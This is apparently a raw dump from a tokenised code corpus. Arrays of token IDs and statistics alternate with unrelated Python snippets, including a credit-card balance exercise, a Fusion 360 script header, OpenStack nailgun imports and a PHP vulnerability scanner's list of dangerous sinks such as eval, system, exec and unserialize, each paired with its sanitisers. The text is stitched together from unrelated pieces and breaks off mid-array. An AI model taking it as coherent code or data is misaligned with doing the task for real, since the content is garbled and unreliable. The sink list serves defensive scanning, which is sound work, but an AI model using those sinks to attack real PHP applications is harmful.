22179, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 11338, 62, 16663, 82, 3419, 198, 220, 220, 220, 2845, 31973, 9492, 3622, 25, 198, 220, 220, 220, 220, 220, 220, 220, 8420, 7, 15, 8, 628, 198, 1421, 18604, 198, 11748, 640, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 1215, 1878, 4872, 62, 33, 3483, 46, 13, 47, 22117, 355, 350, 22117, 198, 6738, 21642, 88, 21701, 1330, 21642, 88, 21701, 198, 6738, 545, 84, 1330, 1846, 84, 198, 6738, 1113, 78, 1330, 3116, 78, 198, 6738, 7825, 1330, 15810, 198, 6738, 6097, 1330, 1812, 198, 11748, 38491, 355, 762, 198, 11748, 4704, 278, 198, 2, 11748, 18931, 198, 11748, 25064, 198, 6738, 16834, 1330, 21073, 78, 34991, 198, 198, 9127, 796, 15, 198, 1894, 62, 13376, 62, 3605, 796, 657, 198, 1894, 62, 13376, 62, 727, 796, 657, 198, 198, 11338, 62, 16663, 82, 796, 10352, 198, 198, 19499, 37, 62, 33489, 796, 352, 198, 320, 84, 34991, 796, 21073, 78, 34991, 7, 19499, 37, 62, 33489, 8, 198, 20991, 34991, 796, 21073, 78, 34991, 7, 19499, 37, 62, 33489, 8, 198, 22001, 34991, 796, 21073, 78, 34991, 7, 19499, 37, 62, 33489, 8, 198, 3168, 78, 34991, 796, 21073, 78, 34991, 7, 19499, 37, 62, 33489, 8, 198, 7061, 6, 198, 22001, 62, 9464, 34991, 796, 21073, 78, 34991, 7, 19499, 37, 62, 33489, 8, 198, 22001, 62, 3506, 34991, 796, 21073, 78, 34991, 7, 19499, 37, 62, 33489, 8, 198, 3168, 78, 62, 9464, 34991, 796, 21073, 78, 34991, 7, 19499, 37, 62, 33489, 8, 198, 3168, 78, 62, 3506, 34991, 796, 21073, 78, 34991, 7, 19499, 37, 62, 33489, 8, 198, 7061, 6, 628, 220, 220, 220, 1303, 8636, 1103, 2613, 6268, 290, 1593, 1321, 546, 340, 287, 8695, 284, 262, 2323, 198, 220, 220, 220, 1303, 5409, 703, 284, 5412, 262, 2613, 628, 628, 628, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1494, 27215, 796, 10352, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 9688, 62, 16663, 62, 17, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 5128, 16818, 796, 23412, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 5128, 16818, 13, 6814, 7966, 796, 6407, 198, 220, 220, 220, 220, 220, 220, 220, 5128, 16818, 13, 9688, 3419, 628, 220, 220, 220, 220, 220, 220, 220, 7587, 16818, 796, 28403, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 7587, 16818, 13, 6814, 7966, 796, 6407, 198, 220, 220, 220, 220, 220, 220, 220, 7587, 16818, 13, 9688, 3419, 628, 220, 220, 220, 220, 220, 220, 220, 1113, 78, 16818, 796, 3116, 418, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 1113, 78, 16818, 13, 6814, 7966, 796, 6407, 198, 220, 220, 220, 220, 220, 220, 220, 1113, 78, 16818, 13, 9688, 3419, 628, 220, 220, 220, 220, 220, 220, 220, 7825, 16818, 796, 37416, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 7825, 16818, 13, 6814, 7966, 796, 6407, 198, 220, 220, 220, 220, 220, 220, 220, 7825, 16818, 13, 9688, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 5128, 7203, 12728, 27215, 1753, 351, 3802, 25, 366, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1494, 27215, 796, 6407, 198, 220, 220, 220, 220, 220, 220, 220, 5128, 16818, 13, 22179, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 7587, 16818, 13, 22179, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 1113, 78, 16818, 13, 22179, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 7825, 16818, 13, 22179, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 11338, 62, 16663, 82, 3419, 198, 220, 220, 220, 2845, 31973, 9492, 3622, 25, 198, 220, 220, 220, 220, 220, 220, 220, 8420, 7, 15, 8, 628, 198, 16471, 33409, 48655, 65, 2920, 1899, 67, 24, 30460, 1765, 19, 69, 22, 535, 67, 4089, 486, 66, 28041, 17896, 20, 67, 2998, 67, 1129, 2481, 198 ]
2.516908
1,242
# -*- coding: utf-8 -*- # Copyright 2013 Mirantis, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import itertools import netaddr import six from nailgun import consts from nailgun.db import db from nailgun.db.sqlalchemy import models from nailgun.logger import logger from nailgun.network.manager import AllocateVIPs70Mixin from nailgun.network.manager import AllocateVIPs80Mixin from nailgun.network.manager import AssignIPs61Mixin from nailgun.network.manager import AssignIPs70Mixin from nailgun.network.manager import AssignIPsLegacyMixin from nailgun.network.manager import NetworkManager from nailgun import objects from nailgun.orchestrator.neutron_serializers import \ NeutronNetworkTemplateSerializer70
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 198, 2, 220, 220, 220, 15069, 2211, 7381, 20836, 11, 3457, 13, 198, 2, 198, 2, 220, 220, 220, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 345, 743, 198, 2, 220, 220, 220, 407, 779, 428, 2393, 2845, 287, 11846, 351, 262, 13789, 13, 921, 743, 7330, 198, 2, 220, 220, 220, 257, 4866, 286, 262, 13789, 379, 198, 2, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 2638, 1378, 2503, 13, 43073, 13, 2398, 14, 677, 4541, 14, 43, 2149, 24290, 12, 17, 13, 15, 198, 2, 198, 2, 220, 220, 220, 17486, 2672, 416, 9723, 1099, 393, 4987, 284, 287, 3597, 11, 3788, 198, 2, 220, 220, 220, 9387, 739, 262, 13789, 318, 9387, 319, 281, 366, 1921, 3180, 1, 29809, 1797, 11, 42881, 198, 2, 220, 220, 220, 34764, 11015, 6375, 7102, 49828, 11053, 3963, 15529, 509, 12115, 11, 2035, 4911, 393, 17142, 13, 4091, 262, 198, 2, 220, 220, 220, 13789, 329, 262, 2176, 3303, 15030, 21627, 290, 11247, 198, 2, 220, 220, 220, 739, 262, 13789, 13, 198, 198, 11748, 340, 861, 10141, 198, 11748, 2010, 29851, 198, 11748, 2237, 198, 198, 6738, 17864, 7145, 1330, 1500, 82, 198, 6738, 17864, 7145, 13, 9945, 1330, 20613, 198, 6738, 17864, 7145, 13, 9945, 13, 25410, 282, 26599, 1330, 4981, 198, 198, 6738, 17864, 7145, 13, 6404, 1362, 1330, 49706, 198, 198, 6738, 17864, 7145, 13, 27349, 13, 37153, 1330, 1439, 13369, 53, 4061, 82, 2154, 35608, 259, 198, 6738, 17864, 7145, 13, 27349, 13, 37153, 1330, 1439, 13369, 53, 4061, 82, 1795, 35608, 259, 198, 6738, 17864, 7145, 13, 27349, 13, 37153, 1330, 2195, 570, 4061, 82, 5333, 35608, 259, 198, 6738, 17864, 7145, 13, 27349, 13, 37153, 1330, 2195, 570, 4061, 82, 2154, 35608, 259, 198, 6738, 17864, 7145, 13, 27349, 13, 37153, 1330, 2195, 570, 4061, 82, 11484, 1590, 35608, 259, 198, 6738, 17864, 7145, 13, 27349, 13, 37153, 1330, 7311, 13511, 198, 6738, 17864, 7145, 1330, 5563, 198, 198, 6738, 17864, 7145, 13, 273, 2395, 2536, 1352, 13, 710, 315, 1313, 62, 46911, 11341, 1330, 3467, 198, 220, 220, 220, 3169, 315, 1313, 26245, 30800, 32634, 7509, 2154, 628, 628, 628 ]
3.306283
382
import itertools import numpy as np from scipy.sparse.csgraph import shortest_path
[ 11748, 340, 861, 10141, 198, 198, 11748, 299, 32152, 355, 45941, 198, 6738, 629, 541, 88, 13, 82, 29572, 13, 6359, 34960, 1330, 35581, 62, 6978, 628, 628, 198 ]
3.034483
29
from encrypt import Encrypt import json Encrypt = Encrypt() if __name__ == '__main__': payload_encryption_test()
[ 6738, 34117, 1330, 14711, 6012, 198, 11748, 33918, 198, 198, 27195, 6012, 796, 14711, 6012, 3419, 628, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 21437, 62, 12685, 13168, 62, 9288, 3419, 198 ]
3
40
#Author-Sterling Crispin #Description-directly adapted from http://help.autodesk.com/view/fusion360/ENU/?guid=GUID-c3d4a306-fade-11e4-8e56-3417ebd3d5be import adsk.core, adsk.fusion, traceback import math
[ 2, 13838, 12, 50, 353, 1359, 15088, 11635, 198, 2, 11828, 12, 12942, 306, 16573, 422, 2638, 1378, 16794, 13, 2306, 4147, 74, 13, 785, 14, 1177, 14, 69, 4241, 15277, 14, 1677, 52, 20924, 5162, 312, 28, 38, 27586, 12, 66, 18, 67, 19, 64, 20548, 12, 69, 671, 12, 1157, 68, 19, 12, 23, 68, 3980, 12, 2682, 1558, 1765, 67, 18, 67, 20, 1350, 628, 198, 11748, 512, 8135, 13, 7295, 11, 512, 8135, 13, 69, 4241, 11, 12854, 1891, 198, 11748, 10688 ]
2.395349
86
""" Description : A program to calculate the credit card balance after one year if a person only pays the minimum monthly payment required by the credit card company each month. balance - the outstanding balance on the credit card annualInterestRate - annual interest rate as a decimal monthlyPaymentRate - minimum monthly payment rate as a decimal Monthly interest rate= (Annual interest rate) / 12.0 Monthly unpaid balance = (Previous balance) - (Minimum monthly payment) Updated balance each month = (Monthly unpaid balance) + (Monthly interest rate x Monthly unpaid balance) """ balance = 320000 annualInterestRate = 0.2 monthly_interest_rate = annualInterestRate/12 lower_fixed = balance/12 upper_fixed = balance * (1 + monthly_interest_rate)**12 / 12.0 fixed = 0 unpaid_balance = 0 balance_copy = balance while True: balance_copy = balance fixed = (lower_fixed+upper_fixed)/2 for i in range(12): # min_monthly_payment = monthlyPaymentRate * balance unpaid_balance = balance_copy - fixed balance_copy = unpaid_balance + monthly_interest_rate * unpaid_balance if balance_copy > 0.01: lower_fixed = fixed elif balance_copy < 0: upper_fixed = fixed else: break print round(fixed,2)
[ 37811, 198, 11828, 1058, 198, 32, 1430, 284, 15284, 262, 3884, 2657, 5236, 706, 530, 614, 611, 257, 1048, 691, 13831, 262, 5288, 9651, 6074, 198, 35827, 416, 262, 3884, 2657, 1664, 1123, 1227, 13, 198, 198, 20427, 532, 262, 11660, 5236, 319, 262, 3884, 2657, 198, 1236, 723, 19302, 32184, 532, 5079, 1393, 2494, 355, 257, 32465, 198, 8424, 306, 19197, 434, 32184, 532, 5288, 9651, 6074, 2494, 355, 257, 32465, 198, 198, 31948, 306, 1393, 2494, 28, 357, 18858, 723, 1393, 2494, 8, 1220, 1105, 13, 15, 198, 31948, 306, 24268, 5236, 796, 357, 21448, 5236, 8, 532, 357, 44046, 9651, 6074, 8, 198, 17354, 5236, 1123, 1227, 796, 357, 31948, 306, 24268, 5236, 8, 1343, 357, 31948, 306, 1393, 2494, 2124, 27573, 24268, 5236, 8, 628, 37227, 198, 20427, 796, 513, 2167, 405, 198, 1236, 723, 19302, 32184, 796, 657, 13, 17, 628, 198, 8424, 306, 62, 9446, 62, 4873, 796, 5079, 19302, 32184, 14, 1065, 198, 21037, 62, 34021, 796, 5236, 14, 1065, 198, 45828, 62, 34021, 796, 5236, 1635, 357, 16, 1343, 9651, 62, 9446, 62, 4873, 8, 1174, 1065, 1220, 1105, 13, 15, 198, 34021, 796, 657, 198, 403, 20333, 62, 20427, 796, 657, 198, 20427, 62, 30073, 796, 5236, 198, 198, 4514, 6407, 25, 198, 220, 220, 220, 5236, 62, 30073, 796, 5236, 198, 220, 220, 220, 5969, 796, 357, 21037, 62, 34021, 10, 45828, 62, 34021, 20679, 17, 198, 220, 220, 220, 329, 1312, 287, 2837, 7, 1065, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 949, 62, 8424, 306, 62, 37301, 796, 9651, 19197, 434, 32184, 1635, 5236, 198, 220, 220, 220, 220, 220, 220, 220, 24268, 62, 20427, 796, 5236, 62, 30073, 532, 5969, 198, 220, 220, 220, 220, 220, 220, 220, 5236, 62, 30073, 796, 24268, 62, 20427, 1343, 9651, 62, 9446, 62, 4873, 1635, 24268, 62, 20427, 198, 220, 220, 220, 611, 5236, 62, 30073, 1875, 657, 13, 486, 25, 2793, 62, 34021, 796, 5969, 198, 220, 220, 220, 1288, 361, 5236, 62, 30073, 1279, 657, 25, 6727, 62, 34021, 796, 5969, 198, 220, 220, 220, 2073, 25, 2270, 628, 198, 4798, 2835, 7, 34021, 11, 17, 8 ]
3.425414
362
import pytest from wod_board import exceptions from wod_board.crud import movement_crud from wod_board.models import movement from wod_board.models import unit from wod_board.schemas import movement_schemas
[ 11748, 12972, 9288, 198, 198, 6738, 266, 375, 62, 3526, 1330, 13269, 198, 6738, 266, 375, 62, 3526, 13, 6098, 463, 1330, 3356, 62, 6098, 463, 198, 6738, 266, 375, 62, 3526, 13, 27530, 1330, 3356, 198, 6738, 266, 375, 62, 3526, 13, 27530, 1330, 4326, 198, 6738, 266, 375, 62, 3526, 13, 1416, 4411, 292, 1330, 3356, 62, 1416, 4411, 292, 628, 628, 628 ]
3.276923
65
#!/usr/bin/python # -*- coding: utf-8 -*- # /!\ Detection Format (.*)function($vuln)(.*) matched by payload[0]+regex_indicators regex_indicators = '\\((.*?)(\\$_GET\\[.*?\\]|\\$_FILES\\[.*?\\]|\\$_POST\\[.*?\\]|\\$_REQUEST\\[.*?\\]|\\$_COOKIES\\[.*?\\]|\\$_SESSION\\[.*?\\]|\\$(?!this|e-)[a-zA-Z0-9_,]*)(.*?)\\)' # Function_Name:String, Vulnerability_Name:String, Protection_Function:Array payloads = [ # Remote Command Execution ["eval", "Remote Command Execution", ["escapeshellarg", "escapeshellcmd"]], ["popen", "Remote Command Execution", ["escapeshellarg", "escapeshellcmd"]], ["system", "Remote Command Execution", ["escapeshellarg", "escapeshellcmd"]], ["passthru", "Remote Command Execution", ["escapeshellarg", "escapeshellcmd"]], ["exec", "Remote Command Execution", ["escapeshellarg", "escapeshellcmd"]], ["shell_exec", "Remote Command Execution", ["escapeshellarg", "escapeshellcmd"]], ["pcntl_exec", "Remote Command Execution", ["escapeshellarg", "escapeshellcmd"]], ["assert", "Remote Command Execution", ["escapeshellarg", "escapeshellcmd"]], ["proc_open", "Remote Command Execution", ["escapeshellarg", "escapeshellcmd"]], ["expect_popen", "Remote Command Execution", ["escapeshellarg", "escapeshellcmd"]], ["create_function", "Remote Command Execution", ["escapeshellarg", "escapeshellcmd"]], ["call_user_func", "Remote Code Execution", []], ["call_user_func_array", "Remote Code Execution", []], ["preg_replace", "Remote Command Execution", ["preg_quote"]], ["ereg_replace", "Remote Command Execution", ["preg_quote"]], ["eregi_replace", "Remote Command Execution", ["preg_quote"]], ["mb_ereg_replace", "Remote Command Execution", ["preg_quote"]], ["mb_eregi_replace", "Remote Command Execution", ["preg_quote"]], # File Inclusion / Path Traversal ["virtual", "File Inclusion", []], ["include", "File Inclusion", []], ["require", "File Inclusion", []], ["include_once", "File Inclusion", []], ["require_once", "File Inclusion", []], ["readfile", "File Inclusion / Path Traversal", []], ["file_get_contents", "File Inclusion / Path Traversal", []], ["stream_get_contents", "File Inclusion / Path Traversal", []], ["show_source", "File Inclusion / Path Traversal", []], ["fopen", "File Inclusion / Path Traversal", []], ["file", "File Inclusion / Path Traversal", []], ["fpassthru", "File Inclusion / Path Traversal", []], ["gzopen", "File Inclusion / Path Traversal", []], ["gzfile", "File Inclusion / Path Traversal", []], ["gzpassthru", "File Inclusion / Path Traversal", []], ["readgzfile", "File Inclusion / Path Traversal", []], # MySQL(i) SQL Injection ["mysql_query", "SQL Injection", ["mysql_real_escape_string"]], ["mysqli_multi_query", "SQL Injection", ["mysql_real_escape_string"]], ["mysqli_send_query", "SQL Injection", ["mysql_real_escape_string"]], ["mysqli_master_query", "SQL Injection", ["mysql_real_escape_string"]], ["mysqli_master_query", "SQL Injection", ["mysql_real_escape_string"]], ["mysql_unbuffered_query", "SQL Injection", ["mysql_real_escape_string"]], ["mysql_db_query", "SQL Injection", ["mysql_real_escape_string"]], ["mysqli::real_query", "SQL Injection", ["mysql_real_escape_string"]], ["mysqli_real_query", "SQL Injection", ["mysql_real_escape_string"]], ["mysqli::query", "SQL Injection", ["mysql_real_escape_string"]], ["mysqli_query", "SQL Injection", ["mysql_real_escape_string"]], # PostgreSQL Injection ["pg_query", "SQL Injection", ["pg_escape_string", "pg_pconnect", "pg_connect"]], ["pg_send_query", "SQL Injection", ["pg_escape_string", "pg_pconnect", "pg_connect"]], # SQLite SQL Injection ["sqlite_array_query", "SQL Injection", ["sqlite_escape_string"]], ["sqlite_exec", "SQL Injection", ["sqlite_escape_string"]], ["sqlite_query", "SQL Injection", ["sqlite_escape_string"]], ["sqlite_single_query", "SQL Injection", ["sqlite_escape_string"]], ["sqlite_unbuffered_query", "SQL Injection", ["sqlite_escape_string"]], # PDO SQL Injection ["->arrayQuery", "SQL Injection", ["->prepare"]], ["->query", "SQL Injection", ["->prepare"]], ["->queryExec", "SQL Injection", ["->prepare"]], ["->singleQuery", "SQL Injection", ["->prepare"]], ["->querySingle", "SQL Injection", ["->prepare"]], ["->exec", "SQL Injection", ["->prepare"]], ["->execute", "SQL Injection", ["->prepare"]], ["->unbufferedQuery", "SQL Injection", ["->prepare"]], ["->real_query", "SQL Injection", ["->prepare"]], ["->multi_query", "SQL Injection", ["->prepare"]], ["->send_query", "SQL Injection", ["->prepare"]], # Cubrid SQL Injection ["cubrid_unbuffered_query", "SQL Injection", ["cubrid_real_escape_string"]], ["cubrid_query", "SQL Injection", ["cubrid_real_escape_string"]], # MSSQL SQL Injection : Warning there is not any real_escape_string ["mssql_query", "SQL Injection", ["mssql_escape"]], # File Upload ["move_uploaded_file", "File Upload", []], # Cross Site Scripting ["echo", "Cross Site Scripting", ["htmlentities", "htmlspecialchars"]], ["print", "Cross Site Scripting", ["htmlentities", "htmlspecialchars"]], ["printf", "Cross Site Scripting", ["htmlentities", "htmlspecialchars"]], ["vprintf", "Cross Site Scripting", ["htmlentities", "htmlspecialchars"]], ["trigger_error", "Cross Site Scripting", ["htmlentities", "htmlspecialchars"]], ["user_error", "Cross Site Scripting", ["htmlentities", "htmlspecialchars"]], ["odbc_result_all", "Cross Site Scripting", ["htmlentities", "htmlspecialchars"]], ["ifx_htmltbl_result", "Cross Site Scripting", ["htmlentities", "htmlspecialchars"]], ["die", "Cross Site Scripting", ["htmlentities", "htmlspecialchars"]], ["exit", "Cross Site Scripting", ["htmlentities", "htmlspecialchars"]], # XPATH and LDAP ["xpath", "XPATH Injection", []], ["ldap_search", "LDAP Injection", ["Zend_Ldap", "ldap_escape"]], # Insecure E-Mail ["mail", "Insecure E-mail", []], # PHP Objet Injection ["unserialize", "PHP Object Injection", []], # Header Injection ["header", "Header Injection", []], ["HttpMessage::setHeaders", "Header Injection", []], ["HttpRequest::setHeaders", "Header Injection", []], # URL Redirection ["http_redirect", "URL Redirection", []], ["HttpMessage::setResponseCode", "URL Redirection", []], # Server Side Template Injection ["->render", "Server Side Template Injection", []], ["->assign", "Server Side Template Injection", []], # Weak Cryptographic Hash ["md5", "Weak Cryptographic Hash", []], # Insecure Weak Random ["mt_rand", "Insecure Weak Random", []], ["srand", "Insecure Weak Random", []], ["uniqid", "Insecure Weak Random", []], # Information Leak ["phpinfo", "Information Leak", []], ["show_source", "Information Leak", []], ["highlight_file", "Information Leak", []], ]
[ 2, 48443, 14629, 14, 8800, 14, 29412, 198, 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 198, 2, 1220, 0, 59, 46254, 18980, 357, 15885, 8, 8818, 16763, 85, 377, 77, 5769, 15885, 8, 14451, 416, 21437, 58, 15, 48688, 260, 25636, 62, 521, 44549, 198, 260, 25636, 62, 521, 44549, 796, 705, 6852, 19510, 15885, 30, 5769, 6852, 3, 62, 18851, 6852, 58, 15885, 30, 6852, 60, 91, 6852, 3, 62, 46700, 1546, 6852, 58, 15885, 30, 6852, 60, 91, 6852, 3, 62, 32782, 6852, 58, 15885, 30, 6852, 60, 91, 6852, 3, 62, 2200, 35780, 6852, 58, 15885, 30, 6852, 60, 91, 6852, 3, 62, 34, 15308, 11015, 6852, 58, 15885, 30, 6852, 60, 91, 6852, 3, 62, 50, 47621, 6852, 58, 15885, 30, 6852, 60, 91, 6852, 3, 7, 12248, 5661, 91, 68, 25106, 58, 64, 12, 89, 32, 12, 57, 15, 12, 24, 62, 11, 60, 9, 5769, 15885, 10091, 6852, 33047, 198, 198, 2, 15553, 62, 5376, 25, 10100, 11, 569, 40920, 62, 5376, 25, 10100, 11, 9985, 62, 22203, 25, 19182, 198, 15577, 46030, 796, 685, 628, 220, 220, 220, 1303, 21520, 9455, 37497, 198, 220, 220, 220, 14631, 18206, 1600, 366, 36510, 9455, 37497, 1600, 14631, 3798, 7916, 12758, 853, 1600, 366, 3798, 7916, 12758, 28758, 8973, 4357, 198, 220, 220, 220, 14631, 79, 9654, 1600, 366, 36510, 9455, 37497, 1600, 14631, 3798, 7916, 12758, 853, 1600, 366, 3798, 7916, 12758, 28758, 8973, 4357, 198, 220, 220, 220, 14631, 10057, 1600, 366, 36510, 9455, 37497, 1600, 14631, 3798, 7916, 12758, 853, 1600, 366, 3798, 7916, 12758, 28758, 8973, 4357, 198, 220, 220, 220, 14631, 44429, 48476, 622, 1600, 366, 36510, 9455, 37497, 1600, 14631, 3798, 7916, 12758, 853, 1600, 366, 3798, 7916, 12758, 28758, 8973, 4357, 198, 220, 220, 220, 14631, 18558, 1600, 366, 36510, 9455, 37497, 1600, 14631, 3798, 7916, 12758, 853, 1600, 366, 3798, 7916, 12758, 28758, 8973, 4357, 198, 220, 220, 220, 14631, 29149, 62, 18558, 1600, 366, 36510, 9455, 37497, 1600, 14631, 3798, 7916, 12758, 853, 1600, 366, 3798, 7916, 12758, 28758, 8973, 4357, 198, 220, 220, 220, 14631, 14751, 429, 75, 62, 18558, 1600, 366, 36510, 9455, 37497, 1600, 14631, 3798, 7916, 12758, 853, 1600, 366, 3798, 7916, 12758, 28758, 8973, 4357, 198, 220, 220, 220, 14631, 30493, 1600, 366, 36510, 9455, 37497, 1600, 14631, 3798, 7916, 12758, 853, 1600, 366, 3798, 7916, 12758, 28758, 8973, 4357, 198, 220, 220, 220, 14631, 36942, 62, 9654, 1600, 366, 36510, 9455, 37497, 1600, 14631, 3798, 7916, 12758, 853, 1600, 366, 3798, 7916, 12758, 28758, 8973, 4357, 198, 220, 220, 220, 14631, 1069, 806, 62, 79, 9654, 1600, 366, 36510, 9455, 37497, 1600, 14631, 3798, 7916, 12758, 853, 1600, 366, 3798, 7916, 12758, 28758, 8973, 4357, 198, 220, 220, 220, 14631, 17953, 62, 8818, 1600, 366, 36510, 9455, 37497, 1600, 14631, 3798, 7916, 12758, 853, 1600, 366, 3798, 7916, 12758, 28758, 8973, 4357, 198, 220, 220, 220, 14631, 13345, 62, 7220, 62, 20786, 1600, 366, 36510, 6127, 37497, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 13345, 62, 7220, 62, 20786, 62, 18747, 1600, 366, 36510, 6127, 37497, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 79, 2301, 62, 33491, 1600, 366, 36510, 9455, 37497, 1600, 14631, 79, 2301, 62, 22708, 8973, 4357, 198, 220, 220, 220, 14631, 567, 70, 62, 33491, 1600, 366, 36510, 9455, 37497, 1600, 14631, 79, 2301, 62, 22708, 8973, 4357, 198, 220, 220, 220, 14631, 567, 12397, 62, 33491, 1600, 366, 36510, 9455, 37497, 1600, 14631, 79, 2301, 62, 22708, 8973, 4357, 198, 220, 220, 220, 14631, 2022, 62, 567, 70, 62, 33491, 1600, 366, 36510, 9455, 37497, 1600, 14631, 79, 2301, 62, 22708, 8973, 4357, 198, 220, 220, 220, 14631, 2022, 62, 567, 12397, 62, 33491, 1600, 366, 36510, 9455, 37497, 1600, 14631, 79, 2301, 62, 22708, 8973, 4357, 628, 220, 220, 220, 1303, 9220, 554, 4717, 1220, 10644, 4759, 690, 282, 198, 220, 220, 220, 14631, 32844, 1600, 366, 8979, 554, 4717, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 17256, 1600, 366, 8979, 554, 4717, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 46115, 1600, 366, 8979, 554, 4717, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 17256, 62, 27078, 1600, 366, 8979, 554, 4717, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 46115, 62, 27078, 1600, 366, 8979, 554, 4717, 1600, 17635, 4357, 628, 220, 220, 220, 14631, 961, 7753, 1600, 366, 8979, 554, 4717, 1220, 10644, 4759, 690, 282, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 7753, 62, 1136, 62, 3642, 658, 1600, 366, 8979, 554, 4717, 1220, 10644, 4759, 690, 282, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 5532, 62, 1136, 62, 3642, 658, 1600, 366, 8979, 554, 4717, 1220, 10644, 4759, 690, 282, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 12860, 62, 10459, 1600, 366, 8979, 554, 4717, 1220, 10644, 4759, 690, 282, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 69, 9654, 1600, 366, 8979, 554, 4717, 1220, 10644, 4759, 690, 282, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 7753, 1600, 366, 8979, 554, 4717, 1220, 10644, 4759, 690, 282, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 69, 44429, 48476, 622, 1600, 366, 8979, 554, 4717, 1220, 10644, 4759, 690, 282, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 34586, 9654, 1600, 366, 8979, 554, 4717, 1220, 10644, 4759, 690, 282, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 34586, 7753, 1600, 366, 8979, 554, 4717, 1220, 10644, 4759, 690, 282, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 34586, 44429, 48476, 622, 1600, 366, 8979, 554, 4717, 1220, 10644, 4759, 690, 282, 1600, 17635, 4357, 198, 220, 220, 220, 14631, 961, 34586, 7753, 1600, 366, 8979, 554, 4717, 1220, 10644, 4759, 690, 282, 1600, 17635, 4357, 628, 220, 220, 220, 1303, 33476, 7, 72, 8, 16363, 554, 29192, 198, 220, 220, 220, 14631, 28744, 13976, 62, 22766, 1600, 366, 17861, 554, 29192, 1600, 14631, 28744, 13976, 62, 5305, 62, 41915, 62, 8841, 8973, 4357, 198, 220, 220, 220, 14631, 28744, 80, 4528, 62, 41684, 62, 22766, 1600, 366, 17861, 554, 29192, 1600, 14631, 28744, 13976, 62, 5305, 62, 41915, 62, 8841, 8973, 4357, 198, 220, 220, 220, 14631, 28744, 80, 4528, 62, 21280, 62, 22766, 1600, 366, 17861, 554, 29192, 1600, 14631, 28744, 13976, 62, 5305, 62, 41915, 62, 8841, 8973, 4357, 198, 220, 220, 220, 14631, 28744, 80, 4528, 62, 9866, 62, 22766, 1600, 366, 17861, 554, 29192, 1600, 14631, 28744, 13976, 62, 5305, 62, 41915, 62, 8841, 8973, 4357, 198, 220, 220, 220, 14631, 28744, 80, 4528, 62, 9866, 62, 22766, 1600, 366, 17861, 554, 29192, 1600, 14631, 28744, 13976, 62, 5305, 62, 41915, 62, 8841, 8973, 4357, 198, 220, 220, 220, 14631, 28744, 13976, 62, 403, 36873, 1068, 62, 22766, 1600, 366, 17861, 554, 29192, 1600, 14631, 28744, 13976, 62, 5305, 62, 41915, 62, 8841, 8973, 4357, 198, 220, 220, 220, 14631, 28744, 13976, 62, 9945, 62, 22766, 1600, 366, 17861, 554, 29192, 1600, 14631, 28744, 13976, 62, 5305, 62, 41915, 62, 8841, 8973, 4357, 198, 220, 220, 220, 14631, 28744, 80, 4528, 3712, 5305, 62, 22766, 1600, 366, 17861, 554, 29192, 1600, 14631, 28744, 13976, 62, 5305, 62, 41915, 62, 8841, 8973, 4357, 198, 220, 220, 220, 14631, 28744, 80, 4528, 62, 5305, 62, 22766, 1600, 366, 17861, 554, 29192, 1600, 14631, 28744, 13976, 62, 5305, 62, 41915, 62, 8841, 8973, 4357, 198, 220, 220, 220, 14631, 28744, 80, 4528, 3712, 22766, 1600, 366, 17861, 554, 29192, 1600, 14631, 28744, 13976, 62, 5305, 62, 41915, 62, 8841, 8973, 4357, 198, 220, 220, 220, 14631, 28744, 80, 4528, 62, 22766, 1600, 366, 17861, 554, 29192, 1600, 14631, 28744, 13976, 62, 5305, 62, 41915, 62, 8841, 8973, 4357, 628, 220, 220, 220, 1303, 2947, 47701, 554, 29192, 198, 220, 220, 220, 14631, 6024, 62, 22766, 1600, 366, 17861, 554, 29192, 1600, 14631, 6024, 62, 41915, 62, 8841, 1600, 366, 6024, 62, 79, 8443, 1600, 366, 6024, 62, 8443, 8973, 4357, 198, 220, 220, 220, 14631, 6024, 62, 21280, 62, 22766, 1600, 366, 17861, 554, 29192, 1600, 14631, 6024, 62, 41915, 62, 8841, 1600, 366, 6024, 62, 79, 8443, 1600, 366, 6024, 62, 8443, 8973, 4357, 628, 220, 220, 220, 1303, 16363, 578, 16363, 554, 29192, 198, 220, 220, 220, 14631, 25410, 578, 62, 18747, 62, 22766, 1600, 366, 17861, 554, 29192, 1600, 